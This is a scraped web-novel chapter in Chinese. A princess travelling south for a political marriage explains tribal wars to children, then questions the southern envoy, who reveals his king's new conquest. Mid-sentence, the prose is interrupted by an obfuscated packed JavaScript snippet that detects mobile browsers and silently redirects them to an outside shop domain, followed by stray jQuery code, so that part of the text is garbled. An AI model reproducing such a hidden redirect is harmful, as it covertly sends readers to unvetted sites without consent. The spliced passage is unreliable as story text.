文趣网 > 其他小说 > 栖梧(先婚后爱) > 21. 第二十一章
    民间有俚语,血月现,妖魔出。

    又逢这样一个阴气最重的七月半鬼节,天上那轮赤红如血的圆月,简直意味着妖魔鬼怪要在今夜齐聚了。

    或许是骇于这异常的天象,扶风郡治所雍县,今年的盂兰盆法会早早便散了,渭河两岸放灯渡孤的百姓却依然络绎不绝,一盏接着一盏的荷花灯顺水漂流,远远望去如一片摇曳的星海。

    宜仁坊的县令宅邸后院,玉汝坐在一颗刚结了花苞的金桂树下,身侧围坐着几个县令家的总角幼童,个个扑簌着好奇的眼睛,一脸崇拜地望着她。

    “原来不止有南昭,还有五个昭呀……”

    “可是,昭是什么意思呢?他们的说法怎么和我们不一样啊……是类似我们的扶风郡和雍县,还是更像女王国和骠国的意思呢?”

    个头最高的小郎君十岁左右,已经是上学的年纪,即便懵懂,问的问题也能很具体。

    玉汝轻声说都不是,“是部落的意思。”

    又想了想,柔和着声音慢慢解释:“其实这个昭,也不过是根据他们的语言音译而来,称昭、沼、照好像都可以,太祖时令礼部造册定名,才统一为南昭。”

    “蛮人聚族而居,更像是中原的氏族,小家族自给自足,隐居在密林或山谷之间,大家族则从深山走向城池,争夺土地,自立为昭。百十年来,沿着洱河地区共建立了六个昭,六昭之间互不宾服,互相攻伐,向来只有拳头最硬的那个,才可以称王。”

    一个梳着三角髻的始龀少女眼睛一亮,高声兴奋道:“所以公主要嫁的,就是拳头最硬的南昭咯!”

    她也叫三娘,自从知道她的乳名,玉汝看她就不自觉多带了分怜爱,于是浅笑着点头。

    忽然又见她皱起一张小脸,疑惑道:“都是蛮人,他们为什么要打来打去的呀?”

    玉汝拨了拨她耳畔的垂鬟,面对孩童,只能用最简单的话来解释:“因为人想要活着,必须得吃饭。而饭,就是粮食。可是粮食从哪里来呢?自然是土地里种出来的。所以家族里的人越多,就需要更多的粮食来养活。想要更多的粮食,就要有更多的土地。有了土地还不够,还要有更多能在土地上种粮食的人。等到粮食、土地和人都变得很多很多了以后,又会遭到旁人的觊觎,所以不得不训练保护他们的士兵,锻造出可以对敌的兵器。于是,就有了战争。”

    “那,把他们变成一个大大大家族,粮食一起种一起分,不就好了!”三娘灵机一动,拊掌高声,觉得自己简直是个天才。

    小郎君歪着头一想,作出总结,“你说的那叫一统,就像始皇,要横扫六国才能做到天下一统。”

    三娘年纪尚幼,听过始皇,却不懂什么叫横扫六国,小心翼翼地觑眼阿兄,又凑到玉汝跟前眨巴着眼问:“会很难吗?”

    玉汝被她的模样逗笑,捏了捏她肉团一样的脸颊,点头说是的,“列国诸侯争斗了两百多年,才等到秦皇的横空出世。”

    眼前这个南昭王有没有足够的能力,她还不知道,但至少已经得到了大燕的支持,有了名正言顺的由头,就有了能出兵的底气。

    她无可奈何地叹一口气:因为这场和亲,她的命运也和南昭的命运绑到了一起。

    孩童们不知公主却为何突然叹息,面面相觑一阵后,用眼神你来我往地推出了个问话人。

    仍是软糯可爱的三娘,拽着她披帛一角,眼巴巴地望着她,“我们明日还能来找公主听故事吗?”

    玉汝面露遗憾:“不能了,明日,我便要离开了。”

    她是奉皇命出嫁的和亲公主,此去南昭,沿途州吏皆要协同护送。

    除了涵盖万物的丰厚嫁妆,她还有琅琊王李知涛为送婚使,宗正少卿为礼会五礼使、著作郎为副使和五百轻装禁军组成的送嫁队伍,再加上南昭迎亲使所率的百来卫兵,这样庞大而又非行军的人马和辎重,不赶路,每日只能行进几十里。

    又是公主郡王,又是朝中要臣,寻常官驿安顿不下,更不可能随士兵野外扎营,所以连日来她和表兄以及两位礼会使都是下榻州县官吏的私邸。

    前往南昭的路线,既要平坦宽阔,也要有密集的城镇可以休整。雍县尚属京畿,她只在此停留一日,明日便要动身,正式经陈仓道翻越秦岭,前往汉中了。

    她不是擅长告别的人,期期艾艾也说不出几句暖心安慰的话,好在县令夫人,孩子们的母亲算着时间赶来救驾,让乳娘把依依不舍的孩子们领走后向她福礼道:“今日因着中元节,禁屠宰,晚膳只得素食,实在是慢待公主了。明日一早妾亲自下厨,为您做几样点心带上,都是些家常做法,倘若能得公主赏光,便是妾的福分了。”

    话说成这样,玉汝自然不好拒绝,便道一句辛苦,私下里另吩咐采薇准备几份见面礼,明日赐予县令家的小郎君和小娘子。

    送礼也没什么讲究,开了蒙的赐紫毫笔和松烟墨,年纪尚幼的就赐九连环,另备有一对金镶玛瑙的花头钗赐予县令夫人。那夫人很是受宠若惊,“这……妾如何当得起公主这般厚赏。”

    “我很喜欢夫人家的小郎君和小娘子,孩子们聪慧又知礼,可见是父母教养得用心。只是来不及同他们当面道别了,一点心意,还请夫人和明府代为转交。”

    于是在众人恭送下登车离去,一路从烟火市井驶向万叶丹枫。

    日正时分抵达散关,琅琊王吩咐,队伍在此地暂做修整。

    内侍架起红锦步障,玉汝换了身适合行路的宵蓝色窄袖翻领胡服,利落地下了车活动筋骨。

    散关历来是关中连接蜀地的关塞要隘,上有群山叠嶂,下有川河奔流。纵目远眺,连绵不绝的秦岭层林尽染,终南山上隐约可见官绅豪富雕栏玉砌的楼檐。

    齐国大长公主与荥阳郑氏在终南山上均置有别院庄园,玉汝幼时去过两回,如今已不大记得是何模样了。

    不记得也好,已是没有机会再去的地方,不记得,将来就不会心生惦念。

    她惆怅满怀,倏尔一声尖锐的嘶鸣声在山谷中响起,夹杂在禁军堆柴搭灶,叮呤咣啷的忙碌里,不十分刺耳,却引起了她的注意。

    她循声昂首,发现了嘶鸣声的来处。

    那是一只毛羽杂色的燕隼,双翅狭尖,羽翼迅猛,一边嘶鸣,一边有目标地在队伍上空盘旋。

    看起来,不是意外飞来的野禽,而是在找什么人。

    果不其然,有人吹起低低的哨声,燕隼立刻闻声俯冲,几个扑簌间就坠落在了步障之外不知何处的人群中,转瞬便在她视线里没了踪影。

    玉汝顿生警觉,不假思索地拧眉走出步障,循着燕隼降落的方向一路寻去。

    架步障的内侍有心劝阻,见公主脸色凝重便不敢开口,只得快步去寻了几位女官和沈典军来,跟上公主的脚步,护卫左右。

    而玉汝一一察看过来,禁军们或是啃胡饼饮澧酒用着午食,或是卸了头盔倚在大树底下闭目歇息,甚至无人发现她的路过。

    不是大燕队伍,那便只剩一个可能。

    玉汝遂往更外围走去,刚看见那一身落拓青衫,惯作文人打扮的南昭迎亲使,便看见方才那只燕隼正乖巧地收了双翼,立在他横举的胳膊上。

    迎亲使名严亭值,麟德殿见过一面,自述乃南昭王新封的清平官,与其有师生之谊。以王之师长的身份来大燕请婚,又一直待到她出降,率百来卫兵自长安接亲,足见南昭上下对这场婚事的重视与期待。

    此时骤然见到她,姓严的并无任何慌乱和遮掩,大大方方地扶着燕隼双爪,迎着她的目光朝这边走来,及到她跟前,自己揖礼的同时,竟还不忘摁着燕隼的脑袋,也朝她点了点。

    “公主。”

    他一脸坦荡,玉汝倒不好诘问发难了。

    伸手不打笑脸人,玉汝道免礼,决定先走迂回路线,状

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588429|205372||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    似随意地问道:“严先生儒雅端方,眉眼也不似蛮人,应该是我大燕子民吧?”

    严亭值挺直了背脊,笑得也一脸文气,“公主慧眼。”

    真是惜字如金啊……

    玉汝本不是个爱深究到底的性子,若是寻常之人寻常之事,见此态度自不会再多追问,可事关她的安危和将来的处境,万不能这样轻飘飘地放过。

    “既是大燕子民,又为何去了南昭,做了外藩之臣?”

    严亭值或许是料到早晚会有此问,先是沉默一霎,继而转过视线,望着雄伟山脉幽幽启唇:“家父本是靖和四年的二甲进士,官至户部度支司郎中。十二年前,因诗赋用词不当,冒犯了先帝,被褫夺官职,全家流放剑南。那一年,外臣尚未及冠,身戴枷锁离开长安时,也经过了此地。”

    故地重游,仍有几分悲凉的情绪浮上心头。即便后来严家在南昭谋得一隅安身之地,衣食无忧,到底还是背井离乡了。

    “流放路上,负责押解的官兵暴戾恣睢,常以鞭打囚徒、虐待妇孺来取乐,犯人们苦不堪言,恨之入骨,终于在一日深夜里,不堪其辱,趁着官兵酒后懈怠,几伙年轻力强的青壮举石反抗,在山林间打得一片混乱。家父深知,即便是押解官兵暴力在先,但流放的犯人举事,便是对抗朝廷,罪加一等,他们这些不曾动手的也会遭到连坐,便一咬牙,带着全家趁乱逃了。”

    这是玉汝不曾料到的情况,她听得津津有味,即便知道了眼前人曾是逃犯,仍旧对他们后来脱险又到了南昭的故事万分好奇。

    “普天之下莫非王土,大燕境内,处处都需关津勘验,你们又身负枷锁,没有过所文书,能逃到哪儿去呢?”

    她问的关切,并无半分追责或轻视的语气,好似真为他们的前路感到堪忧。

    严亭值不由和煦一笑,“彼时已行近巂州,那地方密林遍布,又常有瘴疠,追兵惜命不敢深入,外臣一家却只能蒙头向前,无法后退。好在天无绝人之路,机缘巧合之下遇到了一位南昭大军将在边境巡视,初时以为我们是别国细作,便带回了南昭关押审问。后来得知家父来历,便动了私心,请他为幼子教授汉书汉学,后来又将他举荐给南昭老王,老王虽在国事上常于燕蕃间摇摆,对汉文化却极为推崇,便奉家父为国师,外臣一家便就此在南昭扎根了。”

    “那位大军将,便是而今大王的先父。”

    玉汝了然,应声道:“原来如此,既是救命之恩,如今自当投桃报李,尽力辅佐。”

    已是十几年前的往事了,况且仅是诗赋用词不当便落得全家流放,玉汝也觉得这惩罚过重了些。人家既已在南昭安身立命,又何必向朝廷上奏,追讨逃犯呢。

    玉汝决定东风吹马耳,将目光落定在他胳膊上的那只燕隼。

    “这是传信用的隼吗?可是有什么大事发生?”

    她问的随意,话出口才觉不妥,轻讶一声,朝严亭值歉然而笑,“是我莽撞,若是什么南昭机密,不便相告,先生便当我不曾问过。”

    严亭值回头,静静望着她,“确乃大事,不过公主即将为我南昭王后,对您,自然没有什么不可告知之事。况且,此实为大喜一桩,我王已于昨日趁夜拿下磨先昭,从今往后,洱河两岸最广袤的土地,皆归我南昭所有,夹在其中的三浪昭与蒙攰昭,也指日可待了。

    玉汝面不改色,报以端庄得体的浅笑。

    “南昭王英勇睿智,恭喜先生了。”

    “臣与公主同贺。”

    玉汝遂不再逗留,颔首道别后沿原路返回,跟在她身后的女官和典军始终默默随侍,并不多问,直到她回到厌翟车上,才各自退回原本的位置。

    车内姜媪本靠着壁沿浅寐,在公主上车时立刻清醒了过来,只是还没等她嘘寒问暖一番,便见公主脸上的笑意霍然一收,无助地瘫软,抱住她惶惶悲戚道:“阿姆,他这样厉害,我如何对付得了啊?”